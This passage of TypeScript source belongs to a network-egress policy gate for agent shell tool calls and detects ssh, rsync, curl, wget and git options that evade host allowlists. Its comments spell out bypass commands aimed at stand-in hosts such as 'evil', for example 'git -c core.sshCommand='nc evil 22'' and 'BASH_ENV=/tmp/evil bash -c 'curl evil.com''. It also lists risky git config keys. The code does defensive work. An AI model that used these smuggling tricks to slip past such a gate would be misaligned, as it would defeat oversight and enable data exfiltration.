{\n\t\t\t// `-F path` (or `-Fpath`) selects an alternate ssh_config file. An\n\t\t\t// attacker-controlled config can contain `ProxyCommand=...` etc.,\n\t\t\t// so we treat any non-default config file as opaque. The legitimate\n\t\t\t// `-F /dev/null` and `-F none` forms (disable config) are\n\t\t\t// explicitly allowed.\n\t\t\tconst inline = arg === \"-F\" ? args[index + 1] : arg.slice(2);\n\t\t\tif (arg === \"-F\") {\n\t\t\t\tindex += 1;\n\t\t\t}\n\t\t\tif (inline && inline !== \"/dev/null\" && inline !== \"none\") {\n\t\t\t\treturn `-F ${inline}`;\n\t\t\t}\n\t\t\tcontinue;\n\t\t} else if (arg === \"-J\" || arg.startsWith(\"-J\")) {\n\t\t\t// `-J host[,host2…]` is the ProxyJump shorthand for\n\t\t\t// `-o ProxyJump=host`. Any presence is opaque for the same reason\n\t\t\t// as the long form — the connection actually traverses the jump\n\t\t\t// hosts, which the positional-host check can't reason about.\n\t\t\tconst inline = arg === \"-J\" ? args[index + 1] : arg.slice(2);\n\t\t\tif (arg === \"-J\") {\n\t\t\t\tindex += 1;\n\t\t\t}\n\t\t\tif (inline) {\n\t\t\t\treturn `-J ${inline}`;\n\t\t\t}\n\t\t\tcontinue;\n\t\t} else if (arg === \"-W\" || arg.startsWith(\"-W\")) {\n\t\t\t// `-W host:port` forwards client stdio over the secure channel to\n\t\t\t// `host:port`, so the effective TCP destination is that\n\t\t\t// `host:port` rather than (only) the positional ssh server. The\n\t\t\t// positional check only validates the ssh server, so any presence\n\t\t\t// is opaque.\n\t\t\tconst inline = arg === \"-W\" ? args[index + 1] : arg.slice(2);\n\t\t\tif (arg === \"-W\") {\n\t\t\t\tindex += 1;\n\t\t\t}\n\t\t\tif (inline) {\n\t\t\t\treturn `-W ${inline}`;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (!optionToken) {\n\t\t\tcontinue;\n\t\t}\n\n\t\t// OpenSSH ignores leading whitespace before parsing the `key=value`\n\t\t// payload, so normalize that first before splitting on the first\n\t\t// whitespace or `=` separator.\n\t\tconst normalizedOptionToken = optionToken.trimStart();\n\t\tconst separatorMatch = normalizedOptionToken.match(/[\\s=]/);\n\t\tconst rawKey = separatorMatch\n\t\t\t? normalizedOptionToken.slice(0, separatorMatch.index)\n\t\t\t: normalizedOptionToken;\n\t\tconst key = rawKey?.trim().toLowerCase();\n\t\tif (key && OPAQUE_SSH_COMMAND_OPTIONS.has(key)) {\n\t\t\treturn rawKey?.trim() ?? key;\n\t\t}\n\t}\n\n\treturn null;\n}\n\n// `rsync` doesn't accept OpenSSH-style `-o` options, but it does take a\n// `-e COMMAND` / `--rsh=COMMAND` value that is invoked verbatim as the\n// transport shell — the canonical bypass is\n// `rsync -e 'ssh -o ProxyCommand=nc evil 22' src user@allowed:/dst`.\n// We treat any `-e` / `--rsh=` value other than the literal `ssh` default\n// as opaque: the value is a free-form shell command, so once it diverges\n// from the well-known default we can no longer reason about which host\n// the rsync invocation actually reaches.\nfunction findOpaqueRsyncOption(\n\tcommandName: string,\n\targs: string[],\n): string | null {\n\tif (commandName !== \"rsync\") {\n\t\treturn null;\n\t}\n\n\tfor (let index = 0; index < args.length; index += 1) {\n\t\tconst arg = args[index]!;\n\n\t\tlet value: string | null = null;\n\t\tlet display: string | null = null;\n\t\tif (arg === \"-e\" && index + 1 < args.length) {\n\t\t\tvalue = args[index + 1]!;\n\t\t\tdisplay = `-e ${value}`;\n\t\t\tindex += 1;\n\t\t} else if (arg.startsWith(\"-e\") && arg.length > 2) {\n\t\t\tvalue = arg.slice(2);\n\t\t\tdisplay = arg;\n\t\t} else if (arg === \"--rsh\" && index + 1 < args.length) {\n\t\t\tvalue = args[index + 1]!;\n\t\t\tdisplay = `--rsh ${value}`;\n\t\t\tindex += 1;\n\t\t} else if (arg.startsWith(\"--rsh=\")) {\n\t\t\tvalue = arg.slice(\"--rsh=\".length);\n\t\t\tdisplay = arg;\n\t\t}\n\n\t\tif (value === null) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst normalized = value.trim().replace(/^[\"']|[\"']$/g, \"\");\n\t\tif (normalized === \"ssh\") {\n\t\t\tcontinue;\n\t\t}\n\n\t\treturn display ?? value;\n\t}\n\n\treturn null;\n}\n\n// `curl` and `wget` both accept config-file flags whose contents are\n// arbitrary directives (proxy, DNS overrides, redirects, etc.). Treat any\n// reference to a non-default config file as opaque — analogous to ssh's\n// `-F` handling — because the directives inside the file cannot be\n// statically validated against the allowlist.\n//\n// `curl --resolve HOST:PORT:IP` and `curl --connect-to HOST:PORT:H2:P2`\n// also bypass the host check by remapping the TCP destination without\n// changing the request's Host header. Same fail-closed posture as\n// ssh's `HostName`/`ProxyJump`.\n//\n// `wget -e EXPR` / `wget --execute=EXPR` evaluates a .wgetrc-style\n// directive in the same way `--config` does, so we treat it the same.\nconst CURL_OPAQUE_LONG_FLAGS = new Set([\n\t\"--resolve\",\n\t\"--connect-to\",\n\t\"--config\",\n]);\nconst WGET_OPAQUE_LONG_FLAGS = new Set([\"--config\", \"--execute\"]);\n\nfunction findOpaqueHttpClientOption(\n\tcommandName: string,\n\targs: string[],\n): string | null {\n\tif (commandName !== \"curl\" && commandName !== \"wget\") {\n\t\treturn null;\n\t}\n\n\tconst longFlags =\n\t\tcommandName === \"curl\" ? CURL_OPAQUE_LONG_FLAGS : WGET_OPAQUE_LONG_FLAGS;\n\n\tfor (let index = 0; index < args.length; index += 1) {\n\t\tconst arg = args[index]!;\n\n\t\t// Long-form flag with explicit `=value`.\n\t\tfor (const flag of longFlags) {\n\t\t\tif (arg.startsWith(`${flag}=`)) {\n\t\t\t\tconst value = arg.slice(flag.length + 1);\n\t\t\t\tif (flag === \"--config\" && (value === \"/dev/null\" || value === \"\")) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\treturn arg;\n\t\t\t}\n\t\t}\n\n\t\t// Long-form flag followed by a separate value token.\n\t\tif (longFlags.has(arg)) {\n\t\t\tconst value = args[index + 1];\n\t\t\tindex += 1;\n\t\t\tif (\n\t\t\t\targ === \"--config\" &&\n\t\t\t\t(value === undefined || value === \"/dev/null\" || value === \"\")\n\t\t\t) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\treturn value ? `${arg} ${value}` : arg;\n\t\t}\n\n\t\t// Short forms: `curl -K FILE`, `curl -KFILE`, `wget -e EXPR`.\n\t\tif (commandName === \"curl\" && (arg === \"-K\" || arg.startsWith(\"-K\"))) {\n\t\t\tif (arg === \"-K\") {\n\t\t\t\tconst value = args[index + 1];\n\t\t\t\tindex += 1;\n\t\t\t\tif (value === undefined || value === \"/dev/null\" || value === \"\") {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\treturn `-K ${value}`;\n\t\t\t}\n\t\t\tif (arg.length > 2) {\n\t\t\t\tconst value = arg.slice(2);\n\t\t\t\tif (value === \"/dev/null\") {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\treturn arg;\n\t\t\t}\n\t\t}\n\n\t\tif (commandName === \"wget\" && (arg === \"-e\" || arg.startsWith(\"-e\"))) {\n\t\t\tif (arg === \"-e\") {\n\t\t\t\tconst value = args[index + 1];\n\t\t\t\tindex += 1;\n\t\t\t\tif (value === undefined || value === \"\") {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\treturn `-e ${value}`;\n\t\t\t}\n\t\t\tif (arg.length > 2) {\n\t\t\t\treturn arg;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn null;\n}\n\n// `git -c` lets the caller set any git config key, including the ones that\n// resolve to a shell command. The canonical bypass is\n// `git -c core.sshCommand='nc evil 22' clone ...` — the matched\n// subcommand-args path never sees those values because git's parser\n// consumes the `-c` before reaching the subcommand. Mirror that here.\nconst OPAQUE_GIT_CONFIG_KEYS = new Set([\n\t\"core.sshcommand\",\n\t\"protocol.ext.allow\",\n\t\"gpg.ssh.allowedsignerscommand\",\n\t\"gpg.ssh.revocationfile\",\n\t\"gpg.program\",\n\t\"credential.helper\",\n\t\"http.proxy\",\n\t\"http.proxysslcainfo\",\n\t\"http.proxysslcert\",\n\t\"http.proxysslkey\",\n\t\"http.sslcainfo\",\n\t\"url.<base>.insteadof\",\n]);\n\nfunction findOpaqueGitConfigOption(args: string[]): string | null {\n\tlet scanningCloneOptions = false;\n\tfor (let index = 0; index < args.length; index += 1) {\n\t\tconst arg = args[index]!;\n\n\t\tlet value: string | null = null;\n\t\tlet display = \"-c\";\n\t\tif (arg === \"-c\" && index + 1 < args.length) {\n\t\t\tvalue = args[index + 1]!;\n\t\t\tindex += 1;\n\t\t} else if (arg.startsWith(\"-c\") && arg !== \"-c\") {\n\t\t\tvalue = arg.slice(2);\n\t\t} else if (arg === \"--config-env\" && index + 1 < args.length) {\n\t\t\t// `git --config-env <KEY>=<ENVVAR>` is the env-indirected form of\n\t\t\t// `-c <KEY>=<value>` — same shell-out risk, different syntax.\n\t\t\t// Treat it identically and only look at the <KEY> half.\n\t\t\tvalue = args[index + 1]!;\n\t\t\tdisplay = \"--config-env\";\n\t\t\tindex += 1;\n\t\t} else if (arg.startsWith(\"--config-env=\")) {\n\t\t\tvalue = arg.slice(\"--config-env=\".length);\n\t\t\tdisplay = \"--config-env\";\n\t\t} else if (arg === \"--config\" && index + 1 < args.length) {\n\t\t\tvalue = args[index + 1]!;\n\t\t\tdisplay = \"--config\";\n\t\t\tindex += 1;\n\t\t} else if (arg.startsWith(\"--config=\")) {\n\t\t\tvalue = arg.slice(\"--config=\".length);\n\t\t\tdisplay = \"--config\";\n\t\t} else {\n\t\t\tconst [flag] = arg.split(\"=\", 1);\n\t\t\tconst flagsWithValues = scanningCloneOptions\n\t\t\t\t? GIT_CLONE_FLAGS_WITH_VALUES\n\t\t\t\t: GIT_GLOBAL_FLAGS_WITH_VALUES;\n\t\t\tif (\n\t\t\t\tflag &&\n\t\t\t\tflagsWithValues.has(flag) &&\n\t\t\t\t!arg.includes(\"=\") &&\n\t\t\t\tindex + 1 < args.length\n\t\t\t) {\n\t\t\t\tindex += 1;\n\t\t\t}\n\t\t}\n\n\t\t// Stop scanning when we reach most git subcommands — anything after\n\t\t// that is its own argument set. `git clone` is the exception: it\n\t\t// accepts `--config <key=value>` / `--config=<key=value>` as\n\t\t// clone-local config, so keep scanning clone's option prefix.\n\t\tif (!arg.startsWith(\"-\")) {\n\t\t\tif (!scanningCloneOptions && arg === \"clone\") {\n\t\t\t\tscanningCloneOptions = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\treturn null;\n\t\t}\n\n\t\tif (!value) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst [rawKey] = value.split(\"=\", 1);\n\t\tconst key = rawKey?.trim().toLowerCase();\n\t\tif (!key) {\n\t\t\tcontinue;\n\t\t}\n\t\t// Direct match — keep the exhaustive list focused on shell-out and\n\t\t// signing/credential redirection vectors.\n\t\tif (OPAQUE_GIT_CONFIG_KEYS.has(key)) {\n\t\t\treturn `${display} ${rawKey?.trim() ?? key}`;\n\t\t}\n\t\t// `url.<base>.insteadOf` rewrites the URL silently and is keyed by\n\t\t// the attacker-chosen `<base>`, so match by suffix instead of the\n\t\t// placeholder entry above.\n\t\tif (\n\t\t\tkey.startsWith(\"url.\") &&\n\t\t\t(key.endsWith(\".insteadof\") || key.endsWith(\".pushinsteadof\"))\n\t\t) {\n\t\t\treturn `${display} ${rawKey?.trim() ?? key}`;\n\t\t}\n\t}\n\n\treturn null;\n}\n\nfunction nonFlagArgs(commandName: string, args: string[]): string[] {\n\tconst values: string[] = [];\n\tlet skipNext = false;\n\n\tfor (const arg of args) {\n\t\tif (skipNext) {\n\t\t\tskipNext = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (arg.startsWith(\"-\")) {\n\t\t\tif (!arg.includes(\"=\") && networkFlagTakesValue(commandName, arg)) {\n\t\t\t\tskipNext = true;\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\n\t\tvalues.push(arg);\n\t}\n\n\treturn values;\n}\n\nfunction networkTargetArgs(\n\tcommandName: string,\n\targs: string[],\n\tgitSubcommand: string | null,\n): string[] {\n\tconst targets =\n\t\tcommandName === \"git\" && gitSubcommand === \"clone\"\n\t\t\t? gitCloneNonFlagArgs(args)\n\t\t\t: nonFlagArgs(commandName, args);\n\n\tif (commandName === \"git\") {\n\t\tif (gitSubcommand === \"archive\") {\n\t\t\treturn gitArchiveTargetArgs(args);\n\t\t}\n\t\tif (gitSubcommand === \"config\") {\n\t\t\treturn gitConfigTargetArgs(args);\n\t\t}\n\t\tif (gitSubcommand === \"remote\") {\n\t\t\treturn gitRemoteTargetArgs(args);\n\t\t}\n\t\tif (gitSubcommand === \"submodule\") {\n\t\t\treturn gitSubmoduleTargetArgs(args);\n\t\t}\n\t\treturn targets.slice(0, 1);\n\t}\n\n\tif (commandName === \"scp\") {\n\t\t// scp uses the generic flag table, so the positionals returned by\n\t\t// `nonFlagArgs` already correspond to the user's source/destination\n\t\t// list. Filter for ones that look like remote endpoints.\n\t\treturn targets.filter(\n\t\t\t(arg) => networkTargetToUrl(commandName, arg) !== null,\n\t\t);\n\t}\n\n\tif (commandName === \"rsync\") {\n\t\t// rsync has its own flag table (`RSYNC_FLAGS_WITH_VALUES`) so the\n\t\t// nonFlagArgs parser correctly skips the values of `--exclude`,\n\t\t// `--info`, `-f`, `-B`, etc. The bypass Cursor Bugbot flagged on\n\t\t// PR #2756 is the symmetric case: an attacker writes\n\t\t// `rsync --exclude user@evil.com:/src /local`. The parser eats\n\t\t// `user@evil.com:/src` as `--exclude`'s value, leaves `/local` as\n\t\t// the only positional, and `rsyncCommandIsLocal` classifies the\n\t\t// command as fully local — so the remote never reaches the\n\t\t// allowlist gate.\n\t\t//\n\t\t// Defense in depth: scan ALL args (not just positionals) for\n\t\t// tokens that look like remote endpoints. False positives are\n\t\t// acceptable (a deliberate `--exclude` pattern that happens to\n\t\t// resemble `user@host:path` will be policy-checked; the user can\n\t\t// adjust their pattern or allowlist). False *negatives* are not.\n\t\treturn args.filter((arg) => networkTargetToUrl(commandName, arg) !== null);\n\t}\n\n\tif (\n\t\tcommandName === \"nc\" ||\n\t\tcommandName === \"ncat\" ||\n\t\tcommandName === \"netcat\" ||\n\t\tcommandName === \"ssh\" ||\n\t\tcommandName === \"sftp\" ||\n\t\tcommandName === \"telnet\" ||\n\t\tcommandName === \"ftp\"\n\t) {\n\t\treturn targets.slice(0, 1);\n\t}\n\n\treturn targets;\n}\n\nfunction scpCommandIsLocal(args: string[]): boolean {\n\tconst targets = nonFlagArgs(\"scp\", args);\n\treturn (\n\t\ttargets.length > 0 &&\n\t\ttargets.every((arg) => {\n\t\t\tconst target = arg.trim().replace(/^[\"']|[\"']$/g, \"\");\n\t\t\tif (target.length === 0 || hasShellExpansion(target)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif (/^scp:\\/\\//i.test(target)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// Windows drive paths like `C:\\src` legitimately contain a colon\n\t\t\t// but are local. Anything else with a colon is treated as a\n\t\t\t// potential remote scp host.\n\t\t\tif (WINDOWS_DRIVE_PATH.test(target)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn !target.includes(\":\");\n\t\t})\n\t);\n}\n\nfunction rsyncCommandIsLocal(args: string[]): boolean {\n\tconst targets = nonFlagArgs(\"rsync\", args);\n\treturn (\n\t\ttargets.length > 0 &&\n\t\ttargets.every((arg) => {\n\t\t\tconst target = arg.trim().replace(/^[\"']|[\"']$/g, \"\");\n\t\t\tif (target.length === 0 || hasShellExpansion(target)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// `rsync://…` and the daemon-style `host::module/path` syntaxes\n\t\t\t// both reach the network.\n\t\t\tif (/^rsync:\\/\\//i.test(target) || target.includes(\"::\")) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif (WINDOWS_DRIVE_PATH.test(target)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\t// A single colon (with no leading scheme) is rsync's ssh-style\n\t\t\t// `host:path` notation; treat it as remote.\n\t\t\treturn !target.includes(\":\");\n\t\t})\n\t);\n}\n\n/**\n * Extract URLs from any value recursively.\n *\n * Handles strings, arrays, and objects. URLs are cleaned of trailing\n * punctuation that commonly gets captured in regex matches.\n *\n * @example\n * extractUrlsFromValue(\"Check https://example.com for details\")\n * // Returns: [\"https://example.com\"]\n *\n * extractUrlsFromValue({ url: \"https://api.example.com\", nested: { link: \"https://other.com\" } })\n * // Returns: [\"https://api.example.com\", \"https://other.com\"]\n *\n * @param value - Value to extract URLs from (string, array, or object)\n * @returns Array of extracted URLs\n */\nexport function extractUrlsFromValue(value: unknown): string[] {\n\tconst urls: string[] = [];\n\n\tfunction extract(val: unknown): void {\n\t\tif (typeof val === \"string\") {\n\t\t\tconst matches = val.match(URL_PATTERN);\n\t\t\tif (matches) {\n\t\t\t\tfor (const match of matches) {\n\t\t\t\t\t// Trim common trailing punctuation that gets captured\n\t\t\t\t\turls.push(cleanExtractedUrl(match));\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (Array.isArray(val)) {\n\t\t\tfor (const item of val) {\n\t\t\t\textract(item);\n\t\t\t}\n\t\t} else if (val && typeof val === \"object\") {\n\t\t\tfor (const v of Object.values(val)) {\n\t\t\t\textract(v);\n\t\t\t}\n\t\t}\n\t}\n\n\textract(value);\n\treturn urls;\n}\n\n/**\n * Extract URLs from curl/wget shell commands.\n *\n * Parses command arguments and extracts URL-like strings.\n * Automatically adds http:// prefix for bare hostnames.\n *\n * @example\n * extractUrlsFromShellCommand(\"curl https://api.example.com/data\")\n * // Returns: [\"https://api.example.com/data\"]\n *\n * extractUrlsFromShellCommand(\"wget example.com/file.txt\")\n * // Returns: [\"http://example.com/file.txt\"]\n *\n * extractUrlsFromShellCommand(\"curl -X POST https://api.example.com -d '{}'\")\n * // Returns: [\"https://api.example.com\"]\n *\n * @param command - Shell command string\n * @returns Array of extracted URLs\n */\nexport function extractUrlsFromShellCommand(command: string): string[] {\n\tconst urls: string[] = [];\n\n\tfor (const segment of allCommandSegments(command)) {\n\t\tconst invocation = unwrapNetworkInvocation(segment);\n\t\tif (!invocation) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tlet args = invocation.args;\n\t\tlet gitSubcommand: string | null = null;\n\t\tif (invocation.commandName === \"git\") {\n\t\t\tconst gitInvocation = gitSubcommandInvocation(args);\n\t\t\tif (!gitInvocation) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\targs = gitInvocation.args;\n\t\t\tgitSubcommand = gitInvocation.subcommand;\n\t\t}\n\n\t\tfor (const arg of networkTargetArgs(\n\t\t\tinvocation.commandName,\n\t\t\targs,\n\t\t\tgitSubcommand,\n\t\t)) {\n\t\t\tconst url = networkTargetToUrl(invocation.commandName, arg);\n\t\t\tif (url) {\n\t\t\t\turls.push(url);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn [...new Set(urls)];\n}\n\nfunction tokensBeforeShellComment(segment: string[]): string[] {\n\tconst commentIndex = segment.findIndex((token) => token.startsWith(\"#\"));\n\tif (commentIndex === -1) return segment;\n\t// INCLUDE the suspect comment-start token in the returned slice. The\n\t// tokenizer strips quotes before we see segments, so a real shell\n\t// comment (`echo hi # see https://wiki/page`) and a quoted token that\n\t// happens to start with `#` (`echo \"#prefix https://evil.com\"`) are\n\t// indistinguishable at this point. Dropping the token would let an\n\t// adversary smuggle URLs past `blockedHosts` by prefixing them with\n\t// `#` inside a quoted argument; keeping it adds a tolerable amount of\n\t// false positives for the rare agent tool call that embeds a URL\n\t// inside an actual `# comment` (which is conservative for security\n\t// policy anyway). Tokens AFTER the comment-start are still dropped.\n\treturn segment.slice(0, commentIndex + 1);\n}\n\n/**\n * Extract URL substrings from shell command text while respecting shell comments.\n *\n * This catches URLs embedded inside quoted strings, echo payloads, and heredoc\n * bodies without treating `# ...` comment text as an executed network target.\n */\nexport function extractUrlSubstringsFromShellCommand(\n\tcommand: string,\n): string[] {\n\tconst urls: string[] = [];\n\n\tfor (const segment of allCommandSegments(command)) {\n\t\turls.push(...extractUrlsFromValue(tokensBeforeShellComment(segment)));\n\t}\n\n\treturn [...new Set(urls)];\n}\n\nexport function findOpaqueNetworkShellCommand(command: string): string | null {\n\tconst segments = allCommandSegments(command);\n\n\t// Pass 1: specific opaque markers. When a nested segment carries a\n\t// known smuggle (`ssh -o ProxyCommand=…`, `git -c core.sshcommand=…`,\n\t// `BASH_ENV=…`, …) we surface THAT segment, not the wrapper around\n\t// it — display fidelity matters for the operator triaging the block.\n\tconst specific = findOpaqueByMarker(segments);\n\tif (specific) {\n\t\treturn specific;\n\t}\n\n\t// Pass 2: indirection / encoding-resistance fallback. `eval`,\n\t// `python -c \"$CMD\"`, `… | sh`, `bash <<<`, `sh /tmp/script`. These\n\t// don't expose a parseable inner network invocation, but the runtime\n\t// they hand off to can still issue any network call. Flag them so\n\t// the policy gate sees the smoke even when we can't parse the fire.\n\tfor (const segment of segments) {\n\t\tconst indirection = findOpaqueIndirection(segment);\n\t\tif (indirection) {\n\t\t\treturn indirection;\n\t\t}\n\t}\n\n\treturn null;\n}\n\nfunction findOpaqueByMarker(segments: string[][]): string | null {\n\tfor (const segment of segments) {\n\t\t// Bash-style bare env-var prefix attached to a shell wrapper:\n\t\t// `BASH_ENV=/tmp/evil bash -c 'curl evil.com'`. The outer\n\t\t// `bash` is not in `NETWORK_COMMANDS` so `unwrapNetworkInvocation`\n\t\t// returns null for the outer segment, and the nested `curl …`\n\t\t// segment doesn't carry the env any more. Catch the dangerous\n\t\t// env at the segment level before we discard it. (This also\n\t\t// covers `LD_PRELOAD=/tmp/evil ./binary` style invocations where\n\t\t// the wrapped command isn't a recognized network command — the\n\t\t// LD_PRELOAD inline is itself the smuggle.)\n\t\tif (\n\t\t\tsegment.length > 0 &&\n\t\t\tisEnvAssignment(segment[0]!) &&\n\t\t\tfindOpaqueEnvAssignment(segment)\n\t\t) {\n\t\t\treturn segment.join(\" \");\n\t\t}\n\n\t\tconst invocation = unwrapNetworkInvocation(segment);\n\t\tif (!invocation) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tlet args = invocation.args;\n\t\tlet gitSubcommand: string | null = null;\n\t\tif (invocation.commandName === \"git\") {\n\t\t\t// `git -c key=value` is consumed by git before it reaches the\n\t\t\t// subcommand. We scan the *original* args so values like\n\t\t\t// `core.sshCommand` are caught even when the subcommand itself\n\t\t\t// is otherwise innocuous (e.g. `clone`, `fetch`, `push`).\n\t\t\tif (findOpaqueGitConfigOption(args)) {\n\t\t\t\treturn invocation.display.join(\" \");\n\t\t\t}\n\t\t\tconst gitInvocation = gitSubcommandInvocation(args);\n\t\t\tif (!gitInvocation) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\targs = gitInvocation.args;\n\t\t\tgitSubcommand = gitInvocation.subcommand;\n\t\t}\n\n\t\t// Bash-style bare env-var prefix: `VAR=value cmd …` may smuggle\n\t\t// a transport override (`GIT_SSH_COMMAND=…`, `RSYNC_RSH=…`) or\n\t\t// a loader hijack (`LD_PRELOAD=…`) past the host check.\n\t\t// `invocation.display` is the original segment (pre-prefix-strip)\n\t\t// so the env tokens are still visible here.\n\t\tif (findOpaqueEnvAssignment(invocation.display)) {\n\t\t\treturn invocation.display.join(\" \");\n\t\t}\n\n\t\tif (findOpaqueSshOption(invocation.commandName, args)) {\n\t\t\treturn invocation.display.join(\" \");\n\t\t}\n\n\t\tif (findOpaqueRsyncOption(invocation.commandName, args)) {\n\t\t\treturn invocation.display.join(\" \");\n\t\t}\n\n\t\tif (findOpaqueHttpClientOption(invocation.commandName, args)) {\n\t\t\treturn invocation.display.join(\" \");\n\t\t}\n\n\t\tconst targets = networkTargetArgs(\n\t\t\tinvocation.commandName,\n\t\t\targs,\n\t\t\tgitSubcommand,\n\t\t);\n\t\tif (targets.length === 0) {\n\t\t\tif (\n\t\t\t\t(invocation.commandName === \"git\" &&\n\t\t\t\t\t(gitSubcommand === \"archive\" ||\n\t\t\t\t\t\t(gitSubcommand === \"config\" && gitConfigCommandIsLocal(args)) ||\n\t\t\t\t\t\t(gitSubcommand === \"remote\" && gitRemoteCommandIsLocal(args)) ||\n\t\t\t\t\t\t(gitSubcommand === \"submodule\" &&\n\t\t\t\t\t\t\tgitSubmoduleCommandIsLocal(args)))) ||\n\t\t\t\t(invocation.commandName === \"scp\" && scpCommandIsLocal(args)) ||\n\t\t\t\t(invocation.commandName === \"rsync\" && rsyncCommandIsLocal(args))\n\t\t\t) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\tif (targets.length > 0) {\n\t\t\tif (\n\t\t\t\tURL_POSITIONAL_COMMANDS.has(invocation.commandName) &&\n\t\t\t\ttargets.some((arg) =>\n\t\t\t\t\tnetworkTargetToUrl(invocation.commandName, arg),\n\t\t\t\t) &&\n\t\t\t\ttargets.every(\n\t\t\t\t\t(arg) =>\n\t\t\t\t\t\tnetworkTargetToUrl(invocation.commandName, arg) ||\n\t\t\t\t\t\t!hasShellExpansion(arg),\n\t\t\t\t)\n\t\t\t) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tconst allTargetsAreStatic = targets.every((arg) => {\n\t\t\t\tif (networkTargetToUrl(invocation.commandName, arg)) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\treturn invocation.commandName === \"git\" && isLocalGitTarget(arg);\n\t\t\t});\n\t\t\tif (allTargetsAreStatic) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\treturn invocation.display.join(\" \");\n\t}\n\n\treturn null;\n}\n\n/**\n * Extract all URLs from text, objects, and embedded shell commands.\n *\n * Combines URL extraction from values and shell command parsing.\n * Use this when you need comprehensive URL extraction from mixed content.\n *\n * @param value - Value to extract URLs from\n * @param shellCommand - Optional shell command to also parse\n * @returns Array of all extracted URLs (deduplicated)\n */\nexport function extractAllUrls(\n\tvalue: unknown,\n\tshellCommand?: string,\n): string[] {\n\tconst urls = extractUrlsFromValue(value);\n\n\tif (shellCommand) {\n\t\turls.push(...extractUrlsFromShellCommand(shellCommand));\n\t}\n\n\t// Deduplicate\n\treturn [...new Set(urls)];\n}\n"]}